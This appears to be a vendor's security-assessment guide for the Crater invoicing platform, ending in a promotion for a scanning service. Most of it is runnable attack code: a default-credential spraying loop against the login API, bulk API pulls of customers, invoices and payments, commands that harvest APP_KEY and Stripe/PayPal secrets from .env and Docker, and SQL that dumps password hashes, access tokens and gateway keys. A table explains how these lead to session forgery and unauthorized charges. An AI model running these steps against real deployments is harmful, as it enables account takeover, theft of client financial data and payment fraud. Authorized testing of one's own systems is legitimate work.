Crater is a widely deployed self-hosted invoicing and billing platform used by freelancers and small businesses — it holds complete client financial records including invoice amounts, payment history, and payment gateway credentials. Key assessment areas: APP_KEY is the Laravel application key signing session cookies; the API Bearer token allows full invoice and client management; company settings may store live Stripe or PayPal secret keys; the database holds all client contact details, invoice amounts, and payment transaction records; and demo deployments often retain default credentials. This guide covers systematic Crater security assessment.
# Crater — default credentials and authentication testing
CRATER_URL="https://crater.example.com"
# Test common default/demo credentials
for CRED in "admin@example.com:password" "admin@crater.com:password" \
"admin@admin.com:admin123" "test@crater.com:password"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${CRATER_URL}/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'token' in d:
u = d.get('user',{})
print(f'OK token={d[\"token\"][:30]}... role={u.get(\"role\")} email={u.get(\"email\")}')
elif 'data' in d and 'token' in d.get('data',{}):
u = d['data'].get('user',{})
print(f'OK token={d[\"data\"][\"token\"][:30]}... email={u.get(\"email\")}')
else:
print(f'FAIL: {str(list(d.keys()))[:80]}')
" 2>/dev/null)
echo "${EMAIL}/${PASS}: ${TOKEN}"
done
# Check installation endpoint (may be open on fresh installs)
curl -s -o /dev/null -w "%{http_code}" "${CRATER_URL}/api/v1/app/install" 2>/dev/null
# 200 = installation wizard still accessible
# Crater API bearer token and client financial data access
CRATER_URL="https://crater.example.com"
BEARER_TOKEN="your-crater-api-token"
# Get all customers (clients)
curl -s "${CRATER_URL}/api/v1/customers?limit=100&page=1" \
-H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('customers',{})
customers = data.get('data',[]) if isinstance(data,dict) else []
total = data.get('total',len(customers)) if isinstance(data,dict) else len(customers)
print(f'Customers: {total}')
for c in customers[:10]:
print(f' [{c.get(\"id\")}] {c.get(\"name\")} email={c.get(\"contact_name\",\"\")}')
print(f' phone={c.get(\"phone\")} website={c.get(\"website\")}')
print(f' due={c.get(\"due_amount\")} currency={c.get(\"currency\",{}).get(\"code\",\"\")}')
" 2>/dev/null
# Get all invoices with amounts
curl -s "${CRATER_URL}/api/v1/invoices?limit=100&page=1&status=ALL" \
-H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('invoices',{})
invoices = data.get('data',[]) if isinstance(data,dict) else []
total = data.get('total',len(invoices)) if isinstance(data,dict) else len(invoices)
print(f'Invoices: {total}')
for inv in invoices[:10]:
print(f' #{inv.get(\"invoice_number\")} {inv.get(\"customer_name\")} total={inv.get(\"total\",0)/100:.2f} {inv.get(\"currency_code\")} status={inv.get(\"status\")}')
" 2>/dev/null
# Get all payments (transaction records)
curl -s "${CRATER_URL}/api/v1/payments?limit=100&page=1" \
-H "Authorization: Bearer ${BEARER_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('payments',{})
payments = data.get('data',[]) if isinstance(data,dict) else []
print(f'Payments: {data.get(\"total\",len(payments)) if isinstance(data,dict) else len(payments)}')
for p in payments[:10]:
print(f' {p.get(\"payment_number\")} {p.get(\"customer_name\")} amount={p.get(\"amount\",0)/100:.2f} method={p.get(\"payment_method\",{}).get(\"name\",\"\")} date={p.get(\"payment_date\")}')
" 2>/dev/null
# Crater APP_KEY, payment gateway secrets, and database extraction
# .env file — critical secrets
cat /var/www/html/.env /app/.env 2>/dev/null | \
grep -E "APP_KEY|DB_|STRIPE|PAYPAL|MAIL_|APP_ENV" | head -20
# APP_KEY — Laravel session signing key
# DB_DATABASE, DB_USERNAME, DB_PASSWORD
# STRIPE_KEY (publishable), STRIPE_SECRET (CRITICAL — live key)
# PAYPAL_CLIENT_ID, PAYPAL_SECRET (CRITICAL — live credentials)
# MAIL_HOST, MAIL_USERNAME, MAIL_PASSWORD
# Docker environment variable inspection
docker inspect crater 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['APP_KEY','DB_','STRIPE','PAYPAL','MAIL','SECRET','PASSWORD']):
print(e)
" 2>/dev/null
# MySQL — all Crater financial data
mysql -h localhost -u crater -pPASSWORD crater 2>/dev/null << 'EOF'
-- Admin users and API tokens
SELECT u.id, u.name, u.email,
u.password, u.role,
t.token as api_token, t.created_at as token_created
FROM users u
LEFT JOIN personal_access_tokens t ON t.tokenable_id = u.id
ORDER BY u.created_at ASC
LIMIT 10;
-- Payment gateway credentials from settings
SELECT `key`, `value`
FROM settings
WHERE `key` IN ('stripe_secret','stripe_key','paypal_client_id','paypal_secret',
'authorize_api_login_id','authorize_transaction_key')
LIMIT 10;
-- All invoices with financial amounts
SELECT i.invoice_number, i.sub_total, i.total, i.tax, i.status,
c.name as customer, c.email as customer_email,
i.invoice_date, i.due_date
FROM invoices i
JOIN customers c ON i.customer_id = c.id
ORDER BY i.created_at DESC
LIMIT 20;
-- All payments
SELECT p.payment_number, p.amount, p.payment_date,
c.name as customer, c.email as customer_email,
pm.name as payment_method
FROM payments p
JOIN customers c ON p.customer_id = c.id
LEFT JOIN payment_methods pm ON p.payment_method_id = pm.id
ORDER BY p.created_at DESC
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default admin@example.com/password credential access | POST /api/v1/auth/login with admin@example.com/password — common demo default; Bearer token granting full access to all client financial data, invoices, and company payment gateway credentials | Critical |
| Live payment gateway secret key extraction | SELECT value FROM settings WHERE key='stripe_secret' — live Stripe/PayPal secret keys; enables unauthorized charges, payment history access, customer payment method enumeration through payment gateway API | Critical |
| APP_KEY extraction and Laravel session forgery | Read .env APP_KEY — forge admin session cookies; bypasses authentication; full access to all financial data and company settings including payment credentials | High |
| API client and invoice financial data bulk extraction | GET /api/v1/customers, /api/v1/invoices, /api/v1/payments with Bearer token — complete client list with contact details; all invoice amounts and dates; payment transaction history | High |
| Installation wizard unauthorized admin account creation | POST /api/v1/app/install — if installation wizard is not closed after setup, creates new admin account without existing credential authentication; complete platform takeover | Critical (if open) |
Ironimo tests Crater deployments for default admin@example.com/password credential access, live payment gateway secret key extraction from settings table, APP_KEY extraction and Laravel session cookie forgery, API client/invoice/payment financial data bulk extraction, installation wizard unauthorized admin account creation, Docker APP_KEY/STRIPE_SECRET/PAYPAL_SECRET exposure, personal access token enumeration, database users table admin password hash extraction, settings table payment credential inventory, and Stripe/PayPal live credential privilege assessment.
Start free scan